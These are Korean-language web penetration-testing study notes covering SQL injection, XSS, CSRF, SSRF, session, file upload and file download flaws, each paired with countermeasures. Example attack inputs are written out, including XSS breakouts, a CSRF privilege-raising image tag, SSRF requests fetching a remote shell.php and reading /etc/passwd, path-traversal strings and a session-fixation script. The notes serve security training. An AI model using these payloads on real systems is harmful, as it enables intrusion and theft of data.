모의해킹
웹 모의해킹 총론
웹 서비스 (HTTP) 동작 구조
- 사용자(브라우저) <-요청 & 응답 -> 방화벽&웹방환벽 <-> 웹서버(기본적인 html 코드나 이미지 처리) <-> 웹 어플리케이션(WAS) <-> 데이터베이스
HTTP Request
- Method
--> GET: 자원요청, POST : ENtity를 포함한 자원 요청
- PUT/Delete는 위험한 기능을 갖고 있어서 안쓰거나 꺼 둠
- GET Method 구조 : URL + Query String
--> Get Method는 바디가 따로 없음
- POST 구조 : Header + Body
HTTP Response 구성
- 빈 공백 1줄
- 400 페이지 없음
- 403 권한 없음
- 404 파일 없음
- 500 : 인터넷 서버 에러
--> 컴파일이 제대로 되지 않은 것 (.하나 더 찍었든가 등등)
Session / Cookie
- 서버에서 사용자를 확인할 수 있는 것은 사용자 ID가 아님
- 세션 ID로 확인하게 됨
- 서버 측에 저장되는 것이 세션, 사용자에 저장되는 것이 쿠키임
- 세션에 다 저장해 두면 WAS에서 처리 가능해짐
--> 세션에는 보안에 관한 것이 들어가는 것이고, 쿠키는 편리성에 관한 것임
- 세션과 쿠키는 다른 값임
웹 개발 언어
- 클라이언트 측 언어 : JavaScript, VBScript, Jscript, HTML
- 서버 측 언어 : ASP, ASP.NET(C#,VBScript), PHP, JSP
웹 브라우저
Encoding
- 서로 다른 시스템 간의 문자 데이터 교환을 위한 표준
- 보통 아스키 테이블로 사용
SOP
- Same Origin Policy : 동일 출처 정책
- 퍼가기 같은 기능
- 이걸 통해 많은 취약점을 방어할 수 있음
- 예를 들면, 네이버에 접속했는데 해커 사이트의 컨텐츠가 있으면 안되잖슴 그런거임
WEB Application Trend
Ajax (Asynchronoous Javascript and XML)
- JS와 XML을 이용한 비동기적 정보 전송
- 간단한 정보 주고 받음
--> Response 값이 간결하게 되어 있음
--> 완전 데이터 밖에 없음
JSON
- 컴팩트함
RESTful
- 확장자 없이
- URL 직관성 높이는 기술
WebSocket
- 브라우저와 서버가 양방향 통신을 할 수 있도록 지원
취약점 점검 기준
OWASP Top 10
- 해외에서 많이 씀
- 비영리 기관
- 침해사고 났었던 것을 모아서 상위 10개 발표
- 3년에 한 번씩 발표
- 거기에 대한 보안 대책
- 프로젝트가 굉장히 많음
- 시큐어코딩 관련된 프로젝트가 또 다로 있음
- 우리나라에서는 많이 안 씀
주요정보통신기반시설
- 웹해킹 점검 항목 28개
- 공공기관 점검 시 활용
- 안바뀐 지 오래됨
--> 버퍼오버플로우, 포맷스트링 같은 것은 이제 일어나지 않음
- 불필요한 항목들이 많음
- 파라미터 변조 : 불충분한 인증 / 인가
금융보안원 금취분평
- 젤 많이 씀 모의해킹할 때
- 매년 개정되는 항목이기도 하고 50개 정도이고 자세함
- 민간같은 경우에는 거의 다 금취분평 항목을 점검하고 추가로 자사 항목을 점검함
- 금융사는 파라미터 변조가 굉장히 중요함
- 전자금융이라고 붙어있는 항목은 전자금융하는 곳만 진행
SQL Injection
SQL Injection이란?
- 악의적인 쿼리문을 삽입하여 실행하는 공격
- 데이터베이스로 직접 접근이 가능해 정보 조회 및 탈취 가능
SQL Injection의 종류
1. Union SQL Injection
- UNION 연산자는 두개 이상의 SELECT문을 하나로 묶어 DB에서 추출
- 기존의 SELECT문에 원하는 데이터를 조회하기 위해 UNION SELECT문을 추가하여 DB를 조회
- SELECT문과 UNION SELECT문의 컬럼의 개수가 동일해야 하고, 컬럼은 각 순서대로 동일한 데이터형이여야 함
- 활용하기 위해서는 WHERE 조건절에서 ORDER BY 를 사용하여 컬럼의 개수를 파악하고, 데이터형을 알기 위해서는 컬럼의 개수만큼 NULL을 입력하여 숫자인지 문자인지 알아내야 함
2. Error Based SQL Injection
- 에러 메세지를 기반으로 정보를 얻는 것
- 테이블에 대한 정보 추출 -> 원하는 테이블의 컬럼에 대한 정보 추출 -> 원하는 실 데이터 추출 -> 공격성공
대응방안
- SQL Injection 방지 처리 (Prepared Statement 사용, 입력 값 검증 처리 등)
- Default 에러 메시지-> 사전에 정의된 에러 메시지 창으로 대체
- Debugging 용 에러 메시지 창은 실 서버용 소스코드에서는 제거
3. Blind SQL Injection
- 에러메시지나 데이터가 직접적으로 노출되지 않을 때 사용
- 서버의 참/거짓 반응을 통해 데이터를 얻어내는 공격
- Blind SQL Injection 1개의 문자만 확인 할 수 있음
- SUBSTR(자르고 싶은 문자열, 자르고 싶은 위치, 자르고 싶은 개수) -> 문자열 확인 가능
- SUBSTR함수로 원하는 1개의 문자열을 출력했는데 이걸 where에서 사용하려면 논리형 자료로 가공해야 함 -> ASCII 사용해야 함
- https://www.ascii-codes.com/
Ascii table for IBM PC charset (CP437) - Ascii-Codes
Code page 437 (IBM PC) American Standard Code for Information Interchange (ASCII) is a widely used character encoding system introduced in 1963. The original character set, which is now referred as the standard character set was initially composed of 128 c
www.ascii-codes.com
SQL Injection의 대응방안
- Prepared Statement 객채 사용 : 바인딩 처리된 부분을 제외하고 나머지 쿼리 문법을 미리 실행해둬서 속도, 보안성을 높이는 방법
- 사용이 불가피할 시 필터링해야하는 것들
| 구분 | 필터링할 문자열 | |||||
| 공통(특수문자) | ‘ | ( | ) | -- | /* | */ |
| % | + | - | / | |||
| 공통(예약어) | AND | OR | SELECT | FROM | WHERE | UPDATE |
| SET | INSERT | INTO | DELETE | DROP | JOIN | |
| 데이터 검색 | ALL_TABLES | TABLE_NAME | ||||
| ALL_TAB_COLUMNS | COLUMNN_NAME | |||||
| UNION SQL Injection | UNION | ORDER BY | NULL | |||
| Error Based SQL Injection | UTL_INADDR.GET_HOST_NAME | UTL_INADDR.GET_HOST_ADDRESS | ||||
| ORDSYS.ORD_DICOM.GETMAPPINGXPATH | CTXSYS.DRITHSX.SN | |||||
| Blind SQL Injection | SUBSTR | ASCII | > | < | = | |
취약한 시큐어 코딩
1. Prepared Statement만 적용한다고 해서 완전 안전한 것은 아님 -> 바인딩 처리 필요
- SELECT 문 실행 과정 이해해야 함
- SELECT /FROM / WHERE
- 제일 먼저 확인하는 것은 TABLE_LIST - IDENTIFIER- MEMBER
- SELECT_LIST -> IDENTIFIER - *
- WHERE_COND -> IDENTIFIER->ID 또는 -> = 또는 ->LITERAL -> 'admin'
- 구문분석 > 바인딩 (치환) -> DB 에 보내서 실행 > 인출
2. 바인딩, Prepared Statement 적용했는데 취약한 경우가 있음
- 식별과 인증
- 어떤 사람인 지 식별하는 것이 ID, 인증하는 것이 PW -> 따로 순서를 나눠서 해야함
SQL Injection cheat-sheet
https://portswigger.net/web-security/sql-injection/cheat-sheet
https://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
XSS 크로스 사이트 스크립팅
XSS란?
- 웹 페이지에 악의적인 스크립트를 포함시켜 사용자 측에서 실행되게 유도하는 취약점
XSS의 종류
1. Stored XSS
- 공격자가 입력하는 정보가 DB서버와 같은 저장소에 저장되고, 이 값을 출력하는 페이지에서 피해 발생
- 공격 스크립트 작성 -> 공격 스크립트 저장
- 서버측 애플리케이션 취약점으로 인한 악성 스크립트 실행
2. Reflected XSS
- 공격자가 입력하는 정보가 별도로 저장되지 않고 같은 페이지에서 바로 출력되면서 피해 발생
- 조작된 URL 링크 전송 (링크에 script나 iframe 포함된 URL 있음)
- 서버측 애플리케이션 취약점으로 인한 악성 스크립트 실행
3. DOM XSS
- 공격 스크립트가 DOM의 일부로 실행됨으로써 브라우저 자체에서 악성스크립트가 실행됨
- 조작된 URL 링크 전송
- 서버와 관계 없이 브라우저에서 악성 스크립트 실행
XSS 공격방법
1. XSS에 사용할 공격 스크립트를 구성합니다.
- <script>alert(123)</script>
2. 입력값이 출력되는 포인트를 찾습니다.
3. 출력되는 포인트에 사용되는 입력값 전,후 문법을 확인합니다.
- <input value = "사용자입력값">
4. 스크립트 삽입 후에도 페이지가 정상적으로 로딩 될 수 있도록 스크립트를 수정합니다.
- "><script>alert(123)</script><"
- <input value=""><script>alert(123)</script><"">
| Input | <input value=""><script>alert(123)</script><""> |
| 주석 | <!-- test, --><script>alert(123)</script><!-- --> |
| Javascript | <script> function test() { test="";}</script><script>alert(123)</script><script>""; }</script> |
XSS 대응방법
1. 입력값에서 필터링하는 방식과 출력값에서 필터링하는 방식
- 입력값에서 필터링 할 경우 : DB서버에 악성스크립트가 저장되는 것 자체를 원천적으로 차단, 가장 많이 사용하는 필터링 방식
- 출력값에서 필터링 하는 경우 : 정상적으로 작성된 HTML코드도 모두 치환하기 때문에 일반적으로 사용하지 않음 그래도 이전에 악성스크립트 저장된 적 있으면 실행방지용으로 사용하기도 함
2. 필터링할 대상 정하기
- Reflected XSS 취약점은 한 페이지에 입력과 출력이 모두 처리되기 때문에, 출력에 사용되는 값을 추적해 해당값이 외부 입력값이면 이를 필터링하면 됨
- Stored XSS도 똑같지만 더 주의 필요, 입력과 출력하는 소스코드가 각각 다른 페이지에서 처리되기 때문 -> 소스코드 진단 툴이나 제 3자의 오탐 발생 가능
- 필터링 해야하는 문자열 : HTML태그 시작/종료 문법, Javascript 시작/종료와 같은 구분자, 비즈니스 별 추가 추가적인 필터링 문자들(태그, 악성 스크립트, 이벤트 핸들러 등)
3. 비즈니스 로직에 따른 조치 방법
- 원천적으로 차단 : HTML 태그나 Javascript를 사용할 수 없도록 함 -> 특수문자 치환
- WhiteList Filtering : 일부 태그만 사용 -> 원천적으로 차단 후 사용하는 태그만 다시 원복
- BlackList Filtering : 일부 허용한 태그에서 이벤트 핸들러와 같은 동적 함수 사용이 가능할 때 -> WhiteList Filtering 적용 후 이벤트 핸들러 추가 필터링
*추가적으로 XSS 방지를 위한 오픈소스 많으므로 해당 모듈 검토도 좋음
CSRF (Cross-Site Request Forgery)
CSRF란?
- CSRF 는 관리자의 브라우저가 특정 웹 페이지로 공격자가 원하는 요청을 보내도록 유도하는 취약점
XSS와의 차이점
- 피해 대상 : XSS는 클라이언트, CSRF는 서버
- 발생 원인/로직 : XSS는 사용자의 입출력값을 검증하지 않아 악의적인 스크립트가 실행되는 것, CSRF는 본인이 요청하는 것이 맞는 지 검증하는 프로세스가 없을 때, 사용자의 권한으로 URL 호출됨
- 공격 방법 : XSS는 악의적인 스크립트 삽입하여 실행 유도, CSRF는 서버에서 제공하는 기능을 도용하여 실행 유도
- XSS는 스크립트 사용, CSRF는 스크립트 사용하지 않아도 가능
- XSS는 취약점 발견 시 즉시 사용 가능, CSRF는 Request와 Response분석 후 공격 가능
CSRF 공격방법
1. 관리자가 열람할 만한 곳에 공격 대상 페이지로 접속을 유도하는 글 작성
- 예시 : CSRF Test<img src="http://192.168.0.40:9080/csrf_test/update_proc.jsp?id=hacker&level=9" />
2. 관리자는 공격자가 작성한 글 열람
- 글에 포함된 URL을 클릭하거나 관리자의 브라우저가 스크립트를 실행하게 됨
3. 관리자의 브라우저는 공격 대상 서버로 공격자가 원하는 특정 행위를 요청하게 됨
- 메일 전송, 금융 거래를 할 수도 있으며 동일 서버 혹은 타 서버에서 권한을 상승시키거나 공지를 작성하는 등 다양한 행위를 유도 가능
CSRF 대응방법
1. XSS 필터링
- 인터넷에 많이 이거를 하라고 말하는데 보안 강도가 미흡한 것임
- 왜냐하면 내 사이트가 보안을 해둬도 연결되어있는 다른 사이트에게 강요할 수 없음
- 공격하는 방법 줄이는 법 중 하나지 근복적이지는 않음
2. GET/POST
- http://www.shanky.co.kr/levelup.jsp?id=hacker&level=9
- 서버에서 POST 만 받는 다하면 줄겠지만 미흡인 것은 같음
- POST 방식만 허용하면 메신저나 단순링크 전달로 접근하는 공격은 차단할 수 있지만, HTML 태그나 javascript 사용이 가능한 게시판과 같은 곳에서는 POST 방식으로 요청하도록 공격스크립트를 작성할 수 있기 때문에 보안대책을 우회하는 것이 가능
3. Submit Button
- 관리자가 나도 모르게 넘어가는 것이니까 알림 창을 하나 더 띄우는 것
- 관리자에게 확인 하는 로직을 추가하여, 서버로 보내는 요청이 관리자가 보내는 요청임을 재확인 하는 보안 기법
- http://www.shanky.co.kr/levelup.jsp?id=hacker&level=9&confirm=ok
- 일부 미흡 : 고정된 값을 미리 설정하여 보낼 수 있기 때문
4. Tocken
- http://www.shanky.co.kr/levelup.jsp?id=hacker&level=9&csrf_tocken=1234
- 모든 페이지는 홈페이지 jsp와 process jsp가 있음
- 클라이언트 일 때는 몰랐지만 서버에서는 토큰이 1234로 해 줌
- 클라이언트가 해커 권한 상승할 때 1234가 됨
- 서버가 다시 토큰을 비교함
- 클라이언트->서버->클라이언트->서버
- 레벨업.jsp에 접속해서 프로세스 jsp에 자동으로 제출하는 것이 js로 짤 수 있어서 미흡한 거임
- 근데 OWASP 10에서는 토큰을 보안대책으로 쓰라고 나와있음
- xss 모두 조치하고 토큰을 쓰면 괜찬음 -> xss filtering과 token 같이 쓰면 양호
5. 추가 인증
- 양호
- http://www.shanky.co.kr/levelup.jsp?id=hacker&level=9&pw=1234
- 미리 훔쳐오거나 세팅할 수 없는 값을 넣어두는 것
- 회원정보 확인 시 비번 한 번 더 물어보는 것이 csrf 못 하게 하는 것
6. captcha
- http://www.shanky.co.kr/levelup.jsp?id=hacker&level=9&captcha=ac24
- 요청을 보낸 대상이 실제 사람인지 컴퓨터 프로그램인지를 구별하기 위해 사용되는 방법
- 캡차는 매번 글자 바뀌고 글자 찌그러져서 자동 제출 못하도록 하는 것이기 때문에 미리 세팅해둘 수 없음
- 그래서 양호임
SSRF (Server Side Request Forgery)
SSRF란?
- 서버 측에서 위조된 HTTP 요청을 발생시켜 직접적인 접근이 제한된 서버 내부 자원에 접근하여 외부로 데이터 유출 및 오동작을 유발하는 공격
- 발생하는 서비스는 Document Reader나 Website 번역기, URL previewer, Image viewer, web 크롤링 서비스
- 인터넷 망에서 서버로 외부 서버 연결
공격 방법
1. 로컬서버 파일 접근
2. 내부 웹 서버의 정보 획득
3. 조작된 HTTP Request를 특정 내부
4. RCE Code Reception 비인가자가 원격으로 내부 서버로 전송하는 것
5. 스캐닝
1) RFI
GET https://abc.com/id?content=https://qwe.com/shell.php
2) LFI
GET https://abc.com/id?content=file:///etc/passwd
3) 비인가 접근
GET https://abc.com/id?content=http://localhost/administrator
SSRF 대응방법
- 기본적으로 비인가 접근이 가능하기 때문에 문제가 생기므로 request가 실제로 web server가 보낸 요청인지 확인 필요
1. white list 방식 검증
2. black list 방식 검증 -> 현실적으로 한계가 있음
SSRF 공격 및 대응 정보 참고 사이트
데이터 평문 전송
암호화
- 대칭형 암호 : 대칭키 같은 것 => AES, DES 등
- 비대칭형 암호 : 다른 것 => RSA, Diffie-Hellman 등
- 대칭키가 좀 빠르고 비대칭키가 좀 느림
- SSL/TLS 인증서 : SSL 상위 버전이 TLS
SSL/TLS 통신 과정
- 처음에 왼 쪽이 클라이언트 오른쪽이 서버
- 프로그램마다 지원하는 암호가 다름
- 모바일 같은 기기에서도 인터넷을 하는데 그런 것들도 버전마다 다름
- 브라우저에서 헬로라고 서버에 보냄
- 서버쪽도 헬로 보냄
- Certificate 보냄 서버에서 (이걸로 사용할거야~)
- ServerKeyExchange : 서버에서 암호화 어떻게 할 건지 보내는 겨
- ServerHelloDone : 끝났다
- ClientKeyExchange : 클라이언트 암호화 어케 할건 지 보내주고
- 클라이언트 싸이퍼 스펙 한 100개 보내서 골라보라하고 끝
- 서버에서도 그 중에 사이퍼 스팩 열개 밖에 없어 이거 어때 하고 끝남
- 이렇게 통신하는 겨
SSL/TLS 취약점
1. Heartbleed
- OpenSSL의 결함으로 인한 취약점
- 예전에는 Https로 접속하면 되게 느렸음 (암호화하기 떄문에)
- http는 일부 파라미터만 암호화 하는 것
- https 통신해서 인증서 파는 게 굉장히 비쌌는데 그걸 오픈소스로 해줄 수 있게 해주는 OpenSSL이 있었는데 이게 취약점이 발견돼서 난리났었음
- 어떤 취약점인디?
- potato 보내면 potato 잘 받았따고 회신을 줌 (해시체크하는 것)
- 500글자 보낼게 학소 HAT아라고만 보내면 HAT 뒤에 WAS 메모리 정보를 뒤에 촤르르 보내줌
2. Poodle ( Padding Oracle On Downgraded Legacy Encryption)
- SSL 3.0 버전에 Padding Oracle 취약점이 있었음
3. SSL Strip
- SSL 벗겨낸다는 것으로 https 통시능ㄹ 강제로 http 통신을 하게 만드는 공격
4. HSTS (HTTP Strict Transport Security)
- 요새는 Http를 https로 접근하게 하는 기능이 생김
- https로 다 넘어온 상태
- 요새는 빨라졌고 인증서도 무료 인증서도 ㅁ낳이 나오고 싸게 나옴
데이터 평문전송 진단 방법
1. 중요정보 암호화 미적용
- OSI 7Layer
- Application에서 표현되는 레이어에서 버프에서 잡아서 보는 것
- Physical Layer에서 완전히 변경하게 되면 랜선으로 가게 되는데 그 랜선으로 넘어가기 직전에 잡는 거싱 Wireshark
2. SSL 안전성 점검
- 금취분평에서는 여러가지를 봄
- 여러가지 섞어서 쓰는데 MD5같은 취약한 것 쓰지는 않는 지 확인해보고 컴포넌트 사용하는 지 재협상 허용하는 지 등 확인해보는 것
- 앞에서 봤떤 취약점이 나오지는 않을 지 검증하는 과정
- ssllabs : SSL 점검 가능한 사이트 -> 잘 활용하기 / 단점은 443 포트로 되어 있어야만 가능, 개발망같이 내부에서 활용되는 것은 점검 안됨
- 그럼 내부에 있는 사이트는 어떻게 점검 ? sslyze 활용
3. E2E 암호화 (End to End Encryption)
- 키보드 입력부터 서버까지 암호화하겠다
- 키보드에서 브라우저까지 암호화하는 솔루션이 있고 브라우저에서 서버까지 보내는 솔루션이 따로 있음
- 일반 E2E는 키보드 입력 -> 브라우저 암호화 하고 복호화한 번 한 담에 서버까지 암호화 다시 해서 보내는 것이 일반적임
- E2E는 금융권에서 많이 쓰고 있음
- 이거 안하면 중간에 메모리상에 남아있음
- 비밀번호 칠 때 가상키패드가 있다거나 한 쪽으로 치우친 키보드거나 숫자 위치 다르거나 한 것이 전부 E2E임
데이터 평문 전송 대응 방법
1. 중요정보 전송 최소화
2. 취약한 SSL/TLS 암호화 사용 금지
3. 확장 E2E 암호화
디렉토리 목록 노출
디렉토리 목록 노출 취약점?
- 디렉토리에 어떤 파일이 있는 지
- 버프에서 못 보는 파일들
- 다 볼 수 있게 되는 것
- Directory Listing
- jsp 파일같은 거 다운 받으면 굉장히 위험하겠지?
- 예전에는 디렉토리 리스팅이 기본으로 열려있었는데 지금 나오는 와스는 안보이는 게 기본으로 되어 있음
- 공격자가 취약한 서버 확인 가능
진단 방법
1. 디렉터리 이름만 입력하면 됨
2. 특수문자 -> 버프 보면 리스폰스 패킷에 헤더에 서버 정보 나와서 그런 것 보면서 버전 확인 가능
-> 사이트가 요새 만들어진 사이트라 버전 높다면 안해봐도 됨
디렉토리 목록 노출 대응방법
1. 디렉토리 인덱싱 설정 비활성화
2. 특수문자 필터링
세션/쿠키 취약점
세션ID
- 우리가 이제 JSESSIONID 이렇게 넘어가고 있는 것 이거는 세션 쿠키가 정확한 명칭임
- 내가 서버에 접속가능한 것이 ID로 확인하는 것이 아닐고 암호화된 값으로 판단하게 됨
- 특수한 암호화된 식별자가 필요함
- 세션은 첫번째 값에 세션 ID가 들어가 있고 나머지에는 이름, 권한, 등
- 사용자 상태정보 저정하는 것
- 쿠키정보 확인 : 개발자정보에서 만료일자랑 확인할 수 있음
전달과정
- client : HTTP Request
- server : HTTP RESponse + set-cookie
- client : https request+cookie
- server : Http Response
고정된 인증정보 이용
- session fixtation이라고 치면 많이 나옴
공격 방법
1. attacker--메일전송[<script>document.cookie="seesionid=1234";</script>]
2. victim --사이트 접속 로그인--> 로그인페이지--로그인 전/후 세션 동일
3. 로그인후 접근가능 한 페이지<--권한획득--Attacker
진단 방법
1. 로그인하기 전 후에 세션 ID가 같으면 취약하다고 확인할 수 있는 것
2. 양호한 로직을 보면 로그인이 완료된 상채에서 셋 쿠키를 한 번 더 함
3. 공격할 때 보면 같은 공가에 있을리는 없으니까 IP가 다를거임
불충분한 세션 종료
- 쿠키값이 30분 이상 지속되면 안된다
이용자 인증정보 재사용
- 멀티로그인같은 걸 얘기함
세션/쿠키 취약점 대응방법
- IP 정보르 렛션 파일에 담아뒀다가 동일한 세션값 가지는 클라이언트 접속 시 비교 -> 다르면 끊어버림
정보노출
정보노출 취약점?
- 가장 많이 발생, 종류 많음
- 개인정보가 나오거나 회사 중요 정보가 나오는 것
- 개인정보 : 주민등록번호, 이름+전화번호, 등
- GDPR : 유럽에서 쓰고 있는 개인정보 보호
정보노출 영향
1. 관리자 권한 탈취
- 서버 정보같은 거 확인해서 ExploitDB가서 관련 취약점 머 있는 지 확인해보기
- 정보 2차 가공해서 2차 공격에 활요됨
2. 버전정보 활용해서 원격 코드 실행 가능
3. 세부 항목
- 에러정보 노출 : 500에러/ 서버 컴파일 노출 -> 되게 뭐 많이 들어있음 경로 정보 들어있음
- 에러페이지 미적용하고 고대로 메세지 뿌려주는 중인겨
- 루트 푸싱
- DB 접속 정보들 접속할 수 없게 만들어놓는 것인데 파일 만들어서 확인 쫙 해보는 것 -> 403이나 404 뜨는 것 -> 어떤 에러 메시지 뜨나 확인
- 404라고 적혀있는 것은 취약한 사이트인 것
- showname 취약점 : 이전에는 파일명이 8글자밖에 표시 안됐는데 예전에 있떤 호환성 악용해서 취약점 이용하면 한글자씩 파일명 알아낼 수 있음
- 서버 절대경로 노출 : 이건 누가봐도 위험하지
- 개인정보 노출 : 내 개인정보가 막 마스킹 안된 채로 막 나오고 그런
- 화면 마스킹 미비 : 패스워드 필드에서 많이 쓴느데 마스킹 처리 돼서 나오게 하는 그런거 -> 법에 어케 처리하는 지 알려줌
- 관리자 페이지 노출 : 외부에서 접근되면 안되고 내부에서 특정 IP로 접속할 수 잇도록 해야 함
- 사용자 기능과 분리 : 완전히 다른 서버에 만들어야 한다는 것 -> 한 개의 와스에서 같이 쓰면 취약한 것임
- 취약한 관리자 페이지 경로 사용 금지
- 기타 중요정보 노출
정보노출 대응 방법
1. 마스킹 처리하기
2. 에러페이지 노출되지 않도록 하기(공통된 에러페이지로 만들기 등)
3. 디폴트 파일 관리 : 안쓰는 파일 삭제, 백업 파일 남기지 않기 등
4. 불필요한 파일 노출 관리 : 배너 정보 삭제 등
5. 개인정보 등 기타 중요 정보 노출 관리
6. 관리자 페이지 노출 관리 : 다른 도메인으로 운영하기 등
파라미터 변조
파라미터 변조?
- 파라미터 나오면 요청값 중간에 바꿔버리기
- 개발자가 파라미터를 신뢰해서 발생하는 문제점
권한상승 예시
1. role 숫자 바꾸기
2. 관리자 권한으로 바꿔버리기
불충분한 사용자 인증
- 인증은 인증하는 과정에서 나오는 취약점임
- 예를 들어서 게시글 로그인하고 나서 볼 수 있는데 인증 안했는데 게시판에 접속할 수 있으면 인증 취약점임
불충한 이용자 인가
- 다른 사용자 거 볼 수 있으면
점검방법 및 기준
1. 사용자 인증 미비
2. 인증정보 재사용
3. SSO 인증 모듈 안전성
4. 공인인증서 모듈 안전성
파라미터 변조 대응 방법
1. 세션 처리하기 : 필요한 정보 세션에 젛고 인증 처리하기
- 불충분한 인가 관련해서는 요청 마찬가지이니데 권한 상승같은 것이 많이 나옴
- 소스코드같은데서 로직이 안들어가 있어야하느데 들어가있으면 바꾼다거나 등등
2. 게시판 권한 관리 취약점 : 권한 관련된 세션이 들아기 있어야하는데 안들어가있었음
3. 타사용자 정보의 무단변조 ㅣ URl 인코딩같은 경우는 알파벳으로 시작하면 거의 다 한글임
4. 로그인모드(조회전용/이체)임의 변경
5. 인증 요소 생략 가능성
6. 세션체크 하자
7. 서버측 로직 써라
프로세스검증 누락
- 공격자가 애플리케이션의 계획된 매커니즘으로 우회하는 것이 가능한 취약점
- 나에게 이득보게 하는 그런 것
- 에를 들면 배송비 내기 싫어서 배송삐 -50000원으로 하기 등
- 개발자입장에서는 막을라면 어려움
- 인증프로세스 취약점
File Upload
파일 업로드 취약점?
- 취약한 파일 업로드해서 서버 장악하는 것
- 악의적인 파일 업로드, 업로드 경로 확인, 실행 -> 이 세개 완성돼야 가능함
- 파일업로드 하고 경로확인하고 실행해야 되겠지
- 여기서 주의해야할 것은 우리가 파일같은 거 올리는 테스트를 많이 할 것인데 내가 올린 파일 구분할 수 없음
- 게시글 삭제 시 첨부파일 삭제될까? ->개발자 맘임
시나리오
- 웹서버를 통해 원하는 DB 파일 접속해서 DB에 직접 쿼리 날리고 등
웹쉘
- 서버에서 원격으로 명령 내릴 수 있게 해주는 것 -> 예시 : ls -al 등
- JSP, ASP, ASP.NET, PHP, 한줄 웹쉘, 다중웹쉘, 다중 분할웹쉘
- whitelist 필터링이 좋은 것임
- 웹쉘은웬만하면 자기가 만들어서 쓰는 것을 추천
- 웹쉘을 처음부터 올리면 안됨
<% out.println("eqst test"); %>
=> 이게 무슨 말이냐면 jsp 업로드해보고 어디에 업로드 되는 지 확인해보고 이후에 여기에 웹 쉘 올려도 되는 지 물어보고 실행해야 함
업로드 방법과 대응방법
- 클라이언트 측이라 서버가 있는데 클라이언트측에서는 파일확장자를 블랙리스트나 화이트 리스트 방식으로 필터링 해서 javascript를 이요한 확장자 필터링을 하는 경우가 있음
- 서버 측에서 블랙리스트는 asp, jsp , php등 쓰지마라 -> 취약
- 서버 측 화이트리스트 : content-type 명시하는 것도 취약
- 확장자 우회 가능하다
1. 시스템 취약점으로 업로드
- IIS 같은 경우는 이전 윈도우 쓰는 경우, jsp 뒤에 ;.pdf 쓸 수가 있음
- Was에서 판단 시 마지막 점 기준 확장자가 무엇이냐
- 이거 엄청 오래돼야 나오게 됨
2. 파일 사이즈 제한
- 확장자 체크 등
3. 경로확인과 보안대책
- 경로 확인 할 때 다운이나 할 때 안보이게 막아주는 것
4. 파일 실행과 권환 제거
/usr/aaaa/bbbb/ccc/ddd/lhs/upload/webshell.jsp
/usr/aaaa/bbbb/ccc/webshell/jsp
- 웹루트 깔려있는 상위 루트에 넣으면 실행안됨
File Download
파일다운로드?
- 파일업로드랑 세트
- 파일 다운로드 받을 때 서버에 중요한 정보를 다운 받는 취약점을 말함
- etc/passwd 파일 많이 받고 etc/shadow 같은 것도 많이 받음
- 서버 경로나 파일 조작할 수 있는 취약점이 있음
- 파일 경로와 파일명 노출되는 것이 일차 취약점
- 서버의 시스템 파일 유출 등이 위험함
- 절대 경로 : 풀 경로
- 상대경로 : 현재 위치 기준
비인가 파일 다운로드
- 타인의 게시물 첨부파일을 다운할 수 있게 됨
진단 방법
- Windows : /인코딩 -> %2F , \인코딩 -> %5C
- Unix : /etc/passwd 등
- etc shadow 읽을 수 있다는 것은 root 권한이라는 것
우회기법
- .../.././../../../etc/passwd
- 웹 서버 계정으로 들어가서 하는 작업들 보면 중요 파일 건드렸다는 흔적이 있는데 어떤 명령어 써서 어떤 파일 들어갔는 지 알 수 있으니까 ~.bash_history 이런거 보기
- 이런거 막 얻은 것으로 서버 경로 찾고 막 하면 됨
- 파일 다운로드하면서 어려운 것이 경로 찾는 것임
- 게임 설치한다고 했을 때 c,d 이런 데 할 수도 있고 막 그러자나 근데 막 일반적인 경로로 설치할 수도 있지만 어디 딴 데 설치할 수도 있으니까 어떤 경로인 지 모르면 그 안에 있는 소스코드나 DB 접속 파일 확인이 불가하므로 웹 서버 경로 찾는 것이 중요함
파일 다운로드 대응 방법
1. 안전한 코딩
2. 게시글 번호, 파일명, 첨부파일 번호, 경로 등을 다 DB화 시키는 것